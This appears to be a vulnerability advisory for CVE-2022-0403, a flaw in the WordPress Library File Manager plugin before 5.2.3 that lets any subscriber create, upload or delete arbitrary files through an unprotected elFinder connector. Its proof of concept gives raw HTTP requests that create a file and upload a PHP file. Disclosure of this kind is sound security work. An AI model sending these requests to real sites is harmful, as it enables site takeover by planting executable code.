Library File Manager < 5.2.3 – Subscriber+ Arbitrary File Creation/Upload/Deletion | CVE 2022-0403

Description

The plugin is using an outdated version of the elFinder library, which is know to be affected by security issues (CVE-2021-32682), and does not have any authorisation as well as CSRF checks in its connector AJAX action, allowing any authenticated users, such as subscriber to call it. Furthermore, as the options passed to the elFinder library does not restrict any file type, users with a role as low as subscriber can Create/Upload/Delete Arbitrary files and folders.

Proof of Concept

Create an empty file to /aa.txt:

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 53
Connection: close
Cookie: [any authenticated user]

action=connector&cmd=mkfile&name=aa.txt&target=l1_Lw

Upload a PHP file to /hello.php:

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------14077557643203747161684872583
Content-Length: 597
Connection: close
Cookie: [any authenticated user]

-----------------------------14077557643203747161684872583
Content-Disposition: form-data; name="cmd"

upload
-----------------------------14077557643203747161684872583
Content-Disposition: form-data; name="target"

l1_Lw
-----------------------------14077557643203747161684872583
Content-Disposition: form-data; name="action"

connector
-----------------------------14077557643203747161684872583
Content-Disposition: form-data; name="upload[]"; filename="hello.php"
Content-Type: text/plain

<?php echo 'failed'; ?>

-----------------------------14077557643203747161684872583--